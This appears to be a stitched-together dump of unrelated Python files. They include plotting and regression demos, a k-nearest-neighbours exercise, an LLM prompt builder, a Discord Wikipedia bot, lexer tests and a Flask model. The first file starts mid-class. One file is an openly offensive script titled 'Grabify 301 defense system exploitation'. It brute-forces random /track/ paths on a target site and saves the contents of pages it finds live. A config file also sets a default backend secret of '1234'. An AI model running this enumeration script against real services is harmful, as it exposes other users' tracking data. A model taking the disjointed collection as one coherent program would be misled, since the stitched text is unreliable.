        assert maxsize >= 1
        self.maxsize = maxsize
        if prioritized:
            self.queue = Queue.PriorityQueue(maxsize=maxsize)
        else:
            self.queue = Queue.Queue(maxsize=maxsize)
        # self.append(log_item)

    def append(self, log_item):
        if log_item:
            if self.queue.qsize() + 1 >= self.maxsize:
                self.queue.put(log_item)
                self.handler.handle(self)
            else:
                self.queue.put(log_item)

    def empty(self):
        return self.queue.empty()

    def pull(self):
        return self.queue.get()

    def __del__(self):
        # finally, clear the buffer and handle
        self.handler.handle(self)


# PLOT EVOLUTION - FULL COMPONENTS, AT SPECIFIED LOCATION
Xp1=3.2
Yp1=2.5
Xp2=1
Yp2=2.5
Xp3=3.2
Yp3=0.75
Xp4=1
Yp4=0.75
Nc=25
Vector=np.linspace(0,99999,100000).astype(np.int)

fig, ((ax1,ax2),(ax3,ax4)) = plt.subplots(2,2,figsize=(10,6))

ax1.plot(time,Psi_a(Xp1,Yp1,Vector),linewidth=2)
ax2.plot(time,Psi_o(Xp1,Yp1,Vector),linewidth=2)
ax3.plot(time,dT_a(Xp1,Yp1,Vector),linewidth=2)
ax4.plot(time,dT_o(Xp1,Yp1,Vector),linewidth=2)

ax1.plot(time,Psi_a(Xp2,Yp2,Vector),linewidth=2)
ax2.plot(time,Psi_o(Xp2,Yp2,Vector),linewidth=2)
ax3.plot(time,dT_a(Xp2,Yp2,Vector),linewidth=2)
ax4.plot(time,dT_o(Xp2,Yp2,Vector),linewidth=2)

ax1.plot(time,Psi_a(Xp3,Yp3,Vector),linewidth=2)
ax2.plot(time,Psi_o(Xp3,Yp3,Vector),linewidth=2)
ax3.plot(time,dT_a(Xp3,Yp3,Vector),linewidth=2)
ax4.plot(time,dT_o(Xp3,Yp3,Vector),linewidth=2)

ax1.plot(time,Psi_a(Xp4,Yp4,Vector),linewidth=2)
ax2.plot(time,Psi_o(Xp4,Yp4,Vector),linewidth=2)
ax3.plot(time,dT_a(Xp4,Yp4,Vector),linewidth=2)
ax4.plot(time,dT_o(Xp4,Yp4,Vector),linewidth=2)

ax1.set_title(r'$\Psi_a$',fontsize=15)
ax2.set_title(r'$\Psi_o$',fontsize=15)
ax3.set_title(r'$\delta T_a$',fontsize=15)
ax4.set_title(r'$\delta T_o$',fontsize=15)

ax1.tick_params(axis='both',which='major',labelsize=10)
ax2.tick_params(axis='both',which='major',labelsize=10)
ax3.tick_params(axis='both',which='major',labelsize=10)
ax4.tick_params(axis='both',which='major',labelsize=10)

plt.show()

#%%
# PLOT EVOLUTION - SINGLE COMP
Nc=25
Vector=np.linspace(0,99999,100000).astype(np.int)

fig = plt.figure(figsize=(10,6))
#plt.plot(time,Lock_d10[0],'m',linewidth=2,label='1e-10')
#plt.plot(time,Lock_lowd[0],'k',linewidth=2,label='1e-9')
#plt.plot(time,Lock_d5_9[0],'--k',linewidth=2,label='5e-9')
plt.plot(time,Vpsi[0],'b',linewidth=2,label='1e-8')
#plt.plot(time,Lock_d5_8[0],'--',linewidth=2,label='5e-8')
#plt.plot(time,Lock_highd[0],'r',linewidth=2,label='1e-7')
#plt.plot(time,Lock_d6[0],'g',linewidth=2,label='1e-6')
#plt.plot(time,Lock_d5[0],'y',linewidth=2,label='1e-5')
plt.title(r'$\Psi_a$',fontsize=15)
plt.tick_params(axis='both',which='major',labelsize=10)
#plt.ylim([0.025,0.045])
plt.legend(loc='best')
plt.show()


# -*- coding: utf-8 -*-
"""
Spyder Editor

This is a temporary script file.
"""
import numpy as np
import matplotlib.pyplot as plt
from sklearn.linear_model import LinearRegression
from sklearn.preprocessing import PolynomialFeatures
"""
x=np.linspace(0, 2*np.pi, 100)#linspace(起始點,結束點,(0~6.28)平分100個點)
y=np.sin(x)#將X所有點依序代進y方程式(散布圖)
#plt.subplot(2, 2, 1)#切割繪製圖(2*2)subplot(行,列,第幾個圖繪製)
plt.scatter(x, y) #scatter()用來繪製散布圖
plt.show()
"""

'''原始數據'''
x1= np.linspace(0, 2*np.pi, 100)#linspace(起始點,結束點,(0~6.28)平分100個點)
y1=np.sin(x1)+np.random.randn(len(x1))/5.0#將X所有點依序代進y方程式(散布圖)
#plt.subplot(2, 2, 2)#切割繪製圖(2*2)subplot(行,列,第幾個圖繪製)
plt.scatter(x1,y1)#scatter()用來繪製散布圖
#plt.show()

'''一次線性回歸'''
slr = LinearRegression()#開一台線性回歸機
#x1=pd.DataFrame(x1)
x1=x1.reshape(-1, 1)#reshape()重塑x1改為二維，列為1但行未知(-1)
slr.fit(x1, y1)#將x1,y1資料餵給機器學習
print("迴歸係數:", slr.coef_)
print("截距:", slr.intercept_)
predicted_y1 = slr.predict(x1) #取出機器學習後的成果
#plt.subplot(2, 2, 3)
plt.scatter(x1,y1,color='blue',label='N=100')
plt.plot(x1, predicted_y1,'r-',label='Degree=1')#印出線性回歸機做出的結果

'''三次線性回歸'''
poly_feature_3= PolynomialFeatures(degree=3, include_bias= False)
X_poly_3= poly_feature_3.fit_transform(x1)

lin_reg_3= LinearRegression()#開啟線性回歸機
lin_reg_3.fit(X_poly_3, y1)
print("(1)迴歸係數(Degree=3):", lin_reg_3.coef_)
print("截距:",lin_reg_3.intercept_)
X_plot= np.linspace(0, 6, 1000).reshape(-1, 1)
X_plot_poly= poly_feature_3.fit_transform(X_plot)
y_plot= np.dot(X_plot_poly, lin_reg_3.coef_.T)+ lin_reg_3.intercept_
#plt.subplot(2, 2, 4)
plt.plot(X_plot, y_plot, 'y-',label='Degree=3')
#plt.plot(x1, y1, 'b.')

'''九次線性回歸'''
poly_feature_9= PolynomialFeatures(degree=9, include_bias= False)
X_poly_9= poly_feature_9.fit_transform(x1)

lin_reg_9= LinearRegression()#開啟線性回歸機
lin_reg_9.fit(X_poly_9, y1)
print("(2)迴歸係數(Degree=9):", lin_reg_9.coef_)
print("截距:",lin_reg_9.intercept_)
X_plot= np.linspace(0, 6, 1000).reshape(-1, 1)
X_plot_poly= poly_feature_9.fit_transform(X_plot)
y_plot= np.dot(X_plot_poly, lin_reg_9.coef_.T)+ lin_reg_9.intercept_
#plt.subplot(2, 2, 4)
plt.plot(X_plot, y_plot, 'c-',label='Degree=9')
#plt.plot(x1, y1, 'b.')
plt.legend()
plt.show()


from typing import Union, List, Dict

from sator.core.openai.utils import remove_links, remove_html_tags, remove_code_blocks

REQUEST_TOKENS_LIMIT = 2000
GET_REPOSITORY_SOFTWARE_TYPE = [{"role": "system",
                                 "content": "Given the name, description, and read me of a repository, identify its "
                                            "Software Type. The Software Type can be either: Web Application, Utility, "
                                            "Server, Operating System, Browser, Framework, or Middleware. 'Web "
                                            "Application' are web-based/cloud-based software used for content "
                                            "management, information management, transactions, and more. 'Utility' are "
                                            "standalone apps including productivity tools, creativity software, "
                                            "antivirus programs, scripts, and non-web clients. 'Server' are system "
                                            "servers such as cloud-based, database, email, proxy, web, FTP, DNS, load "
                                            "balancers, and network monitors. 'Operating System' are firmware, device "
                                            "drivers, virtual machines, and all types of operating systems. 'Browser' "
                                            "are all types of web browsers used to access and navigate websites and "
                                            "web applications. 'Framework' are software components like libraries, "
                                            "plugins, and extensions that provide a foundation for building "
                                            "applications or systems. 'Middleware' are enterprise transaction "
                                            "platforms like message queuing, object storage, and identity management "
                                            "systems that facilitate communication between different software. "
                                            "Respond in this format: {'software_type': 'value'}"}
                                ]

def get_repository_software_type(name: str, description: str, read_me: str, margin: int = 5, prompt: bool = False,
                                 description_size_limit: int = 450, max_allowed_size: int = 450) \
        -> Union[str, List[Dict[str, str]]]:
    messages = GET_REPOSITORY_SOFTWARE_TYPE.copy()
    prompt_size = len(messages[0]['content'])
    max_completion_size = 50

    if len(description) > description_size_limit:
        description = description[:description_size_limit]

    content = f"Name: {name}\nDescription: {description}"
    allowed_size = REQUEST_TOKENS_LIMIT - prompt_size - max_completion_size - len(content) - margin

    # Remove code blocks from read me
    read_me = remove_code_blocks(read_me)
    # Remove HTML elements from read me
    read_me = remove_html_tags(read_me)
    # Remove URLs from the read me
    read_me = remove_links(read_me)

    if allowed_size > max_allowed_size:
        allowed_size = max_allowed_size

    if len(read_me) > allowed_size:
        read_me = read_me[:allowed_size]

    content += f"\nRead me: {read_me}"
    messages.append({"role": "user", "content": content})

    if not prompt:
        return messages

    return "\n".join([f"{m['content']}" for m in messages])


import heap
import math
import random
import matplotlib.pyplot as plt

#will see how to plot graphs
#code creates random data with points and stuff, create the points.txt file,
#in normal situation won't need this function, will have data

#k is number of categories and look at k-closest neighbors
#it's a lazy model, no model built beforehand, doesn't do any learning
def make_points(points, n, d, c):
#craetes a file (points) with n points in a d-dimensional space, in c clusters
    f=open(points, "w")
    for i in range(n):
        s=""
        x=random.randrange(0,c) #random.randrange creates a random number 0..c-1
        for j in range(d):
        # creates numbers around x*100
            s=s+str(100*x+random.randrange(-10,10))+" "
        f.write(s+str(x)+"\n")
    f.close()

def distance(x,y,method="E"): #defalt is euc distance
    if method=="E":#Euclidean distance
        dis=0
        for i in range(len(x)):
            dis+=(x[i]-y[i])**2
        return math.sqrt(dis)
    if method=="M":#Manhattan distance
        dis=0
        for i in range(len(x)):
            dis+=abs(x[i]-y[i])
        return dis

def majority(h):
    a=[]
    while not heap.is_empty(h):
        a+=[heap.remove(h)[1]]
    a.sort()
    count=0
    maj=a[0]
    max=1
    for i in range(1,len(a)):
        if a[i]==a[i-1]:
            count+=1
            if count>max:
                max=count
                maj=a[i]
        else:
            count=1
    return maj

def knn(k, points, x): #a bit confusing, k means #of neighbors and # of categories
    h=heap.create()
    f=open(points, "r")
    s=f.readline()
    while s!="": #do for all elements in file
        s=s.split() #fn in pyhton cuts uo acc to spaces
        for i in range(len(s)):
            s[i]=int(s[i]) #makes evrything intgers
        d=distance(s[:-1],x) #looking at everthing up to label (index -1)
        heap.insert(h,[d,s[-1]])
        if heap.size(h)>k:
            heap.remove(h)
        s=f.readline()
    f.close() #at end have heap with all data
    return majority(h)

def plotPoints(points):  # points is file name
    plt.style.use('seaborn-whitegrid')
    #plt.plot(10, 10, 'o', color='red')
    #plt.plot(15, 5, 'x', color='blue')
    #plt.plot(5, 15, '+', color='black')
    f = open(points, "r")
    s = f.readline()
    while s != "":
        a = [''] * (len(s)-1)
        for i in range(len(s) - 1):
            a[i] = s[i]
        plt.plot(a, 'x', color='black')
        s = f.readline()
    f.close()

#only actually run here
num_points = 200000
dim = 2
classes = 3
make_points("points.txt", num_points, dim, classes) #200,000 points, 4 dimensions in data pints ( 4attributes and 5th is class label), 3 classes
newPoint = [50,50] #need pojnt to be 2 dims
if dim == 2:
    plotPoints("points.txt")
    plt.plot(newPoint, 'o', color='red')
    plt.show()

print(knn(3,"points.txt",newPoint)) #3=nearest neighbors, file created, point want to classify

Intro to Artificial Intelligence/k nearest neighbors/knn.py


import os

# URL to crossbar
WAMP_URL = os.getenv('WAMP_URL', 'ws://crossbar')

# crossbar realm
CROSSBAR_REALM = os.getenv('REALM', 'realm1')

# For WAMP-CRA authentication
BACKEND_USERNAME = os.getenv('BACKEND_USERNAME', 'backend')
BACKEND_SECRET = os.getenv('BACKEND_SECRET', '1234')

# Logstash host and port (TCP)
LOGSTASH_HOST = os.getenv('LOGSTASH_HOST', 'logstash.logging')
LOGSTASH_PORT = os.getenv('LOGSTASH_PORT', 5001)

# If you want to use the redis message-queue instead of the wamp load-balancer
USE_REDIS_MQ = os.getenv('USE_REDIS_MQ', False)

# URL to redis
REDIS_HOST = os.getenv('REDIS_HOST', 'redis-queue')

# Port of redis
REDIS_PORT = os.getenv('REDIS_PORT', 6379)
REDIS_PORT = int(REDIS_PORT)

# Colored logs
COLORED_LOGS = os.getenv('COLORED_LOGS', True)
if COLORED_LOGS in ('false', 'False', '0'):
    COLORED_LOGS = False


#python 3.5
#usage: sysargv is number of sessions to fuzz

import http.client
import sys
import string
import random
import time
import urllib.request

print("\n    Grabify 301 defense system exploitation\n")
print(" "*19 + "By ZADEW!")
print("="*47)

print("\n")

alfatime = time.time()
file = open('indexgrabify2.txt', 'a')

try:

	wordlist = ['AAAAAA','BBBBBB']
	active = []

	var1=0
	var2=0

	N = int(sys.argv[2])

	for i in range (N):
		wordlist.append(''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range (6)))

	try:
		site = sys.argv[1]
		print("[*] Attacking {}".format(site))
		conn = http.client.HTTPConnection(site)
		conn.connect()
		print("[*] Server Online.\n\n")
	except:
		input("\n[!] Server Offline or Invalid URL")
		exit()

	connection = http.client.HTTPConnection(site)

	if True:
		print("\t [+] Bruteforce in progress\n")
		for word in wordlist:
			word = word.replace("\n","")
			word = "/track/" + word
			host = site + word
			sys.stdout.write("\t [#] Checking " +host),
			connection.request("GET",word)
			response = connection.getresponse()
			var2 = var2 + 1
			if response.status == 200:
				var1 = var1 + 1
				print(' OK')
				active.append(host)
				url = 'http://'+host
				n = urllib.request.urlopen(url).read() #find, replace, write
				file.write("\n\n\n\n\n"+str(n)+"\n")
			else:
				print(' ...')
			connection.close()

		print("\n\nCompleted \n")
		print(var1, "USERS found")
		print(var2, "Total URLs scanned in {} seconds".format((time.time() - alfatime)))
		print("\n")
		print ("\n".join(active))

except (KeyboardInterrupt, SystemExit):
	print("\n\nCompleted \n")
	print(var1, "USERS found")
	print(var2, "Total URLs scanned in {} seconds".format(time.time() - alfatime))
	print("\n")

	print ("\n".join(active))


# Program displays the use of different itertools

# import itertools
import itertools

max_money = 15
options = []

# Checkpoint 1
cat_toys = [("laser", 1.99), ("scratcher", 10.99), ("fountain", 5.99), ("catnip", 15.99)]

# using iter()
cat_toy_iterator = iter(cat_toys)

# using next()
print(next(cat_toy_iterator))
print(next(cat_toy_iterator))
print(next(cat_toy_iterator))
print(next(cat_toy_iterator))

# using combinations
toy_combos = itertools.combinations(cat_toys, 2)

# Checkpoint 6
for combo in toy_combos:
    toy1 = combo[0]
    cost_of_toy1 = toy1[1]
    toy2 = combo[1]
    cost_of_toy2 = toy2[1]
    if cost_of_toy1 + cost_of_toy2 <= max_money:
        options.append(combo)

# Checkpoint 7
print(options)


from google.cloud import texttospeech as tts

class SsmlToMp3:
    def __init__(self):
        self.voice = tts.VoiceSelectionParams(
            language_code="pt-BR"
            # , name="pt-BR-Wavenet-B"
        )

        self.audio_config = tts.AudioConfig(
            audio_encoding=tts.AudioEncoding.MP3
        )

        self.client = tts.TextToSpeechClient()

    def convert(self, ssml_text):

        synthesis_input = tts.SynthesisInput(ssml=ssml_text)

        response = self.client.synthesize_speech(
            input=synthesis_input,
            voice=self.voice,
            audio_config=self.audio_config
        )

        return response.audio_content


#!/usr/bin/env python3
#
# This should be invoked from the top-level Gradle build, so that the
# environment is correctly set up:
#  gradlew develop  -- Local testing.
#  gradlew wheel    -- Build the distribution wheel.
#

from setuptools import setup, Extension

import numpy
import os

# Package settings.
name = 'pjrmi'

# Parameters which are set by the Gradle build enironment.
version     = os.environ.get('PJRMI_VERSION')
cpp_include = os.environ.get("INCLUDE_PATH")
java_home   = os.environ.get('JAVA_HOME')

# For the libjvm.so library.
java_lib      = os.path.join(java_home, 'lib', 'server')
java_includes = [os.path.join(java_home, 'include'         ),
                 os.path.join(java_home, 'include', 'linux')]

# Check the Java configuration. The path to the Java runtime can vary from
# system to system, ensure that it was correctly set up and we have what we
# need from it.
if not os.path.exists(java_home):
    raise ValueError(f'JAVA_HOME "{java_home}" does not exist')
if not os.path.exists(java_lib):
    raise ValueError(f'Java library directory {java_lib}" does not exist')
for java_include in java_includes:
    if not os.path.exists(java_include):
        raise ValueError(f'Java include directory {java_include}" does not exist')

# Package the PJRmi shared libraries required by the extension and the Java JAR.
extra_libs_dir = "pjrmi/lib"

# Extension arguments.
#
# The `$ORIGIN/lib` in the runpath is a special linker directive, understood by
# `ld`, which will allow the extension to runtime link against the core PJRmi
# library.
include_dirs         = [cpp_include, numpy.get_include()] + java_includes
library_dirs         = [extra_libs_dir, java_lib]
runtime_library_dirs = [java_lib, "$ORIGIN/lib"]
libraries            = [name, 'jvm']

# And invoke!
setup(
    name        =name,
    version     =version,
    description ='PJRmi, RMI between Python and Java',
    url         ="https://github.com/deshaw/pjrmi",
    packages    =['pjrmi'],
    package_dir ={'pjrmi': 'pjrmi'},
    package_data={'pjrmi': ["lib/**"]},
    ext_modules =[Extension(name + '.extension',
                            ['extension/extension.cpp'],
                            include_dirs        =include_dirs,
                            library_dirs        =library_dirs,
                            runtime_library_dirs=runtime_library_dirs,
                            libraries           =libraries)],
)


# Compute the sum of a collection of numbers stating
# number on each line

# Read the name of the file from the user
import sys

# Verify that a filename was provided as part of the comamnd used to
# start the program

if len(sys.argv) != 2:
	print("give me a filename hoe")
	print("")
	print("python3 fileexample.py <filename>")
	quit()

# Open the file for reading
inf = open(sys.argv[1], "r")

# Read the contents of the file, adding each variable
total = 0
line = inf.readline()

# While there is still data in the file
while line != "":
	# Remove the newline character
	line = line.rstrip()
	# Display the number before adding it to the line
	print("About to add", line, "to the total...")
	# Add the current value to the total
	total = total + float(line)

	line = inf.readline()

# Display the result
print("The sum of the numbers in", sys.argv[1],"blah blah")

# Close the file
inf.close()


from architectures.ArchitecturesUtils import *

class DisBasic(nn.Module):
    def __init__(self, in_channels, out_channels, n_filters=64):
        super(DisBasic, self).__init__()
        self.conv1 = self.basicBlock(in_channels, n_filters)
        self.conv2 = self.basicBlock(n_filters, n_filters)
        self.conv3 = self.basicBlock(n_filters, n_filters * 2)
        self.conv4 = self.basicBlock(n_filters * 2, n_filters * 4)
        self.fc1 = nn.Linear(15 * 15 * 256, 1024)
        self.leaky_relu = nn.LeakyReLU(0.2)
        self.fc2 = nn.Linear(1024, 1)

    @staticmethod
    def basicBlock(in_channels, features):
        return nn.Sequential(nn.Conv2d(in_channels=in_channels, out_channels=features,
                                       kernel_size=3, stride=2, bias=False),
                             nn.BatchNorm2d(num_features=features),
                             nn.LeakyReLU(0.2))

    def forward(self, x):
        out = self.conv1(x)
        out = self.conv2(out)
        out = self.conv3(out)
        out = self.conv4(out)

        out = out.reshape(out.size(0), -1)
        out = self.fc1(out)
        return self.fc2(self.leaky_relu(out))

if __name__ == '__main__':
    print("Test Dis")
    input_c = 1
    output_c = 1

    device = torch.device(("cpu", "cuda")[torch.cuda.is_available()])
    D = DisBasic(in_channels=input_c, out_channels=output_c)
    x = torch.zeros((6, input_c, 256, 256), dtype=torch.float32)
    print("input shape = ", x.shape)
    y = D(x.to(device))
    print("output shape = ", y.shape)


"""
Leia a altura e o raio de um cilindro e imprima o volume.
O volume de um cilindro é calculado por meio da seguinte forma: V = PI * (radius ** 2) * height, onde PI = 3.141592
"""

PI = 3.141592

height = float(input("Digite a altura do cilindro: "))
radius = float(input("Digite o raio do cilindro : "))

V = PI * (radius ** 2) * height

print(f'O volume é {round(V, 2)}')


import discord
from discord.ext import commands
import wikipedia
import asyncio
from random import randint
import traceback
from bot import guilds

class Wiki(commands.Cog):
    def __init__(self, bot):
        self.bot = bot

    @commands.slash_command(name="wikisearch", description="Returns a list of Wikipedia articles based on the request.")
    async def wikisearch(self, ctx, *, request):
        try:
            wikicontent = wikipedia.search(request, results=10, suggestion=False)  # Wikipedia search request

            wikilinks = []
            for i in wikicontent:
                wikilinks.append('https://en.wikipedia.org/wiki/Special:Search?search=' + i.replace(' ', '_'))

            embed = discord.Embed(
                title="Wikipedia search results:",
                color=int(str(ctx.author.color)[1:], 16),
            )
            if not wikicontent:
                wikicontent = f'Sorry, there are no search results for "{request}".'
            wikiresults = []
            for i in range(len(wikicontent)):
                wikiresults.append(f'[{wikicontent[i]}]({wikilinks[i]})')

            embed.description = "\n".join(wikiresults)
            embed.set_thumbnail(
                url='https://www.wikipedia.org/static/images/project-logos/enwiki.png'
            )
            await ctx.respond(embed=embed)

        except Exception as error:
            if error == wikipedia.exceptions.DisambiguationError:
                await ctx.send('There are too many search results for this query. Please be more specific.')
            await ctx.send(f'Sorry, an error occurred: \n`{error}`\n - Please report to `tylersfoot#8888`.')
            print(traceback.format_exc())

    @commands.slash_command(name="wiki", description="Returns a summary of the Wikipedia article specified.")
    async def wiki(self, ctx, *, request):
        try:
            pagecontent = wikipedia.page(request, auto_suggest=False, redirect=True, preload=False)
            pagetext = wikipedia.summary(request, auto_suggest=False, redirect=True, sentences=5)

            # Tries to set first image in article to embed thumbnail
            try:
                thumbnail = pagecontent.images[0]
            except Exception as error:
                # If there are no images, it will set it to the default wikipedia picture
                try:
                    print(f'Couldn\'t load {thumbnail}, {error}')
                    thumbnail = 'https://www.wikipedia.org/static/images/project-logos/enwiki.png'
                except:
                    print(f'Couldn\'t load thumbnail, {error}')
                    thumbnail = 'https://www.wikipedia.org/static/images/project-logos/enwiki.png'

            embed = discord.Embed(
                title=pagecontent.title,
                color=int(str(ctx.author.color)[1:], 16),
                description=f'{pagetext}\n\n[Read further]({pagecontent.url})'
            )
            embed.set_thumbnail(
                url=thumbnail
            )
            await ctx.respond(embed=embed)

        except wikipedia.PageError:
            await ctx.respond(f'Sorry, there are no results for "{request}".')

        except Exception as error:
            await ctx.respond(f'Sorry, an error occurred: \n`{str(error)[:1900]}`\n - Please report to `tylersfoot#8888`.')
            print(traceback.format_exc())

    @commands.slash_command(name="wikirandom", description="Returns the summary of a random Wikipedia article.")
    async def wikirandom(self, ctx):
        try:
            tries = 0
            # Tries to get a random article 10 times
            for i in range(10):
                tries += 1
                try:
                    random_article = wikipedia.random(pages=1)
                    pagecontent = wikipedia.page(random_article)
                    break
                except Exception as e:
                    continue

            pagetext = wikipedia.summary(random_article, sentences=5)

            # Tries to set first image in article to embed thumbnail
            try:
                thumbnail = pagecontent.images[0]
            except Exception as error:
                # If there are no images, it will set it to the default wikipedia picture
                try:
                    print(f'Couldn\'t load {thumbnail}, {error}')
                    thumbnail = 'https://www.wikipedia.org/static/images/project-logos/enwiki.png'
                except:
                    print(f'Couldn\'t load thumbnail, {error}')
                    thumbnail = 'https://www.wikipedia.org/static/images/project-logos/enwiki.png'

            embed = discord.Embed(title=random_article,
                                  color=int(str(ctx.author.color)[1:], 16),
                                  description=f'{pagetext}\n\n[Read further]({pagecontent.url})'
                                  )
            embed.set_thumbnail(url=thumbnail)
            embed.set_footer(text=f'Requested by {ctx.author.name} | {tries} attempts', icon_url=ctx.author.avatar.url)
            await ctx.respond(embed=embed)
        except Exception as error:
            await ctx.respond(f'Sorry, an error occurred: \n`{str(error)[:1900]}`\n - Please report to `tylersfoot#8888`')
            print(traceback.format_exc())

def setup(bot):
    bot.add_cog(Wiki(bot))


import pandas as pd

df = pd.read_csv('YourFileHere')

final_Df = df.filter(['Date', 'User', 'Tickers', 'Price after 5 seconds'])

stop_loss_percentages = [0.001, 0.005, 0.01, 0.02, 0.03, 0.05, 0.1]

for index, row in df.iterrows():
    if isinstance(row['Tickers'], str):
        price = row['Price after 5 seconds']
        stop_loss_prices = [price * (1 - percentage) for percentage in stop_loss_percentages]

        for stop_loss_price, percentage in zip(stop_loss_prices, stop_loss_percentages):
            current_stop_loss_price = stop_loss_price
            pct_increase = None
            low_price = row['Low 1']
            high_price = row['High 1']

            for i in range(1, 51):
                if low_price <= stop_loss_price:
                    pct_increase = ((stop_loss_price - row['Price after 5 seconds']) / row['Price after 5 seconds']) * 100
                    break
                elif high_price > price:
                    price = high_price
                    stop_loss_price = price * (1 - percentage)
                low_price = row[f'Low {i+1}'] if i < 50 else low_price
                high_price = row[f'High {i+1}'] if i < 50 else high_price
            if pct_increase is None:
                pct_increase = ((price - row['Price after 5 seconds']) / row['Price after 5 seconds']) * 100

            final_Df.loc[index, f'Pct Increases {percentage}'] = pct_increase

final_Df.to_csv('Final Analysis.csv')


import sys
sys.path.insert(1, "../../src")
import matplotlib.pyplot as plt
import numpy as np

from laminar import LaminarEquation
from utils import load_data, load_solution_laminar

dirname ="base_solution"
y, u = load_solution_laminar(dirname)
Retau = 550.0
eqn = LaminarEquation(y, u, Retau)
eqn.writedir = "solution"
eqn.solve()
dns, wilcox = load_data()

plt.figure(1)
plt.semilogx(eqn.yp, eqn.up, 'r-', label=r'$k-\omega$')
plt.semilogx(eqn.yp[::5], eqn.uap[::5], 'bo', label=r'Analytic', mfc="white")
plt.xlabel(r"$y^+$")
plt.ylabel(r"$u^+$")
plt.legend(loc=2)
plt.tight_layout()
plt.show()


"""
Name: distFromMax.py
Description: finds the distance from max
Version: 1.0.0
"""

__author__ = "Spencer Dockham"
__date__ = "11/24/2014"

# def
def distFromMax(numList):
    returnList = []
    listLen = len(numList)
    maxNum = max(numList)
    for ct in range(0,len(numList)):
        returnList.append(maxNum - numList[ct])
    return returnList

# main
numList = []
length = input("Please enter the index of your list: ")
for ct in range(0,int(length)):
    numList.append(int(input(str(ct+1)+" - Please enter a number: ")))
returnList = distFromMax(numList)
for ct in range(0,len(returnList)):
    print("Distance from "+str(numList[ct])+" to "+str(max(numList))+": "+str(returnList[ct]))

# program concluded
print("Done")
# pause keeps the command window open
pause = input("Press any key to end: ")


try:
    from __kal_context__ import *
except:
    pass

from typing import List

from kal_lexer import Lexer, Token, TokenType

# ref.: https://github.com/eliben/pykaleidoscope/

def _assert_toks(toks: List[Token], tok_type_names: List[str]):
    """ Assert that the list of toks has the given types. """
    assert all([tok.type.name == tok_type_name for tok, tok_type_name in zip(toks, tok_type_names)])

def test_lexer_simple_tokens_and_values():
    l = Lexer("a+1")
    toks = list(l.tokens())
    assert toks[0] == Token(TokenType.IDENTIFIER, "a")
    assert toks[1] == Token(TokenType.OPERATOR, "+")
    assert toks[2] == Token(TokenType.NUMBER, "1")
    assert toks[3] == Token(TokenType.EOF, "")

    l = Lexer(".1519")
    toks = list(l.tokens())
    assert toks[0] == Token(TokenType.NUMBER, ".1519")

def test_token_types():
    l = Lexer("10.1 def der extern foo (")
    _assert_toks(
        toks=list(l.tokens()),
        tok_type_names=["NUMBER", "DEF", "IDENTIFIER", "EXTERN", "IDENTIFIER", "OPERATOR", "EOF"],
    )

    l = Lexer("+- 1 2 22 22.4 a b2 C3d")
    _assert_toks(
        toks=list(l.tokens()),
        tok_type_names=[
            "OPERATOR",
            "OPERATOR",
            "NUMBER",
            "NUMBER",
            "NUMBER",
            "NUMBER",
            "IDENTIFIER",
            "IDENTIFIER",
            "IDENTIFIER",
            "EOF",
        ],
    )

def test_skip_whitespace_comments():
    l = Lexer(
        """
        def foo # this is a comment
        # another comment
        \t\t\t10
        """
    )
    _assert_toks(toks=list(l.tokens()), tok_type_names=["DEF", "IDENTIFIER", "NUMBER", "EOF"])


# coding=utf-8
import traceback
from flask import current_app
from . import db, ContestSeries, Resource
from datetime import date

ContestLevel = [
    u'省级(赛区)',
    u'国家级'
]

ContestType = [
    u'学科竞赛',
    u'体育竞赛',
    u'创新创业竞赛',
    u'其它'
]

ContestResult = [
    u'未定档',
    u'一档',
    u'二档',
    u'三档',
    u'四档'
]

class Contest(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    contest_id = db.Column(db.String(128), unique=True,
                           nullable=False, index=True)
    name_cn = db.Column(db.Unicode(512))
    name_en = db.Column(db.String(512))
    level = db.Column(db.Unicode(32))   # 竞赛等级
    result = db.Column(db.Unicode(32))  # 竞赛审核结果
    type = db.Column(db.Unicode(32))    # 竞赛类型
    department = db.Column(db.Unicode(128))
    organizer = db.Column(db.Unicode(512))
    co_organizer = db.Column(db.Unicode(512))
    year = db.Column(db.Integer)
    start_date = db.Column(db.Date)
    end_date = db.Column(db.Date)
    place = db.Column(db.Unicode(1024))
    site = db.Column(db.String(1024))
    budget = db.Column(db.Float)
    budget_text = db.Column(db.Unicode(2048))
    student_num = db.Column(db.Integer)
    teacher_num = db.Column(db.Integer)
    subject = db.Column(db.Unicode(512))

    series_name = db.Column(db.Unicode(256),
                            db.ForeignKey('contest_series.name', ondelete="CASCADE"),
                            nullable=True)
    series = db.relationship('ContestSeries',
                             backref=db.backref('contests',
                                                cascade="all, delete-orphan",
                                                passive_deletes=True,
                                                lazy='dynamic'))

    def __repr__(self):
        return '<Contest %s %s>' % (self.contest_id, self.name_cn)

    @property
    def is_pass(self):
        return self.result and self.result != ContestResult[0]

    def save(self):
        db.session.add(self)
        db.session.commit()

    def remove(self):
        db.session.delete(self)
        db.session.commit()

def generate_next_contest_id(year):
    ''' generate next contest id for the new contest's year '''
    last_contest = Contest.query.filter(Contest.year == year)\
        .order_by(Contest.contest_id.desc())\
        .with_lockmode('update').first()
    if last_contest == None:
        return 'W%d%s' % (year, '001')
    else:
        last_contest_id = int(last_contest.contest_id[6:])
        new_id = str(last_contest_id + 1)
        return 'W%d%s' % (year, new_id.rjust(3, '0'))

def get_by_id(id):
    return Contest.query.filter(Contest.id == id).first()

def get_count(filter_pass=0, department=None):
    query = Contest.query
    if filter_pass == 1:
        query = query.filter(Contest.result == ContestResult[0])
    elif filter_pass == -1:
        query = query.filter(Contest.result != ContestResult[0])
    if department:
        query = query.filter(Contest.department == department)
    return query.count()

def get_list_pageable(page=1, per_page=20, filter_pass=0, department=None, year=None):
    query = Contest.query
    if filter_pass == 1:
        query = query.filter(Contest.result == ContestResult[0])
    elif filter_pass == -1:
        query = query.filter(Contest.result != ContestResult[0])
    if department:
        query = query.filter(Contest.department == department)
    if year:
        query = query.filter(Contest.year == year)
    if page == -1:
        return query.order_by(Contest.id).all()
    return query.order_by(Contest.id)\
        .paginate(page, per_page, error_out=False)

def create_contest(contest_form, request):
    try:
        contest = Contest()
        contest.contest_id = generate_next_contest_id(contest_form.year.data)
        contest.name_cn = contest_form.name_cn.data
        contest.name_en = contest_form.name_en.data
        contest.level = contest_form.level.data
        contest.result = ContestResult[0]
        contest.type = contest_form.type.data
        contest.department = contest_form.department.data
        contest.site = contest_form.site.data
        contest.organizer = contest_form.organizer.data
        contest.co_organizer = contest_form.co_organizer.data
        contest.year = contest_form.year.data
        contest.start_date = contest_form.date_range.data[0]
        contest.end_date = contest_form.date_range.data[1]
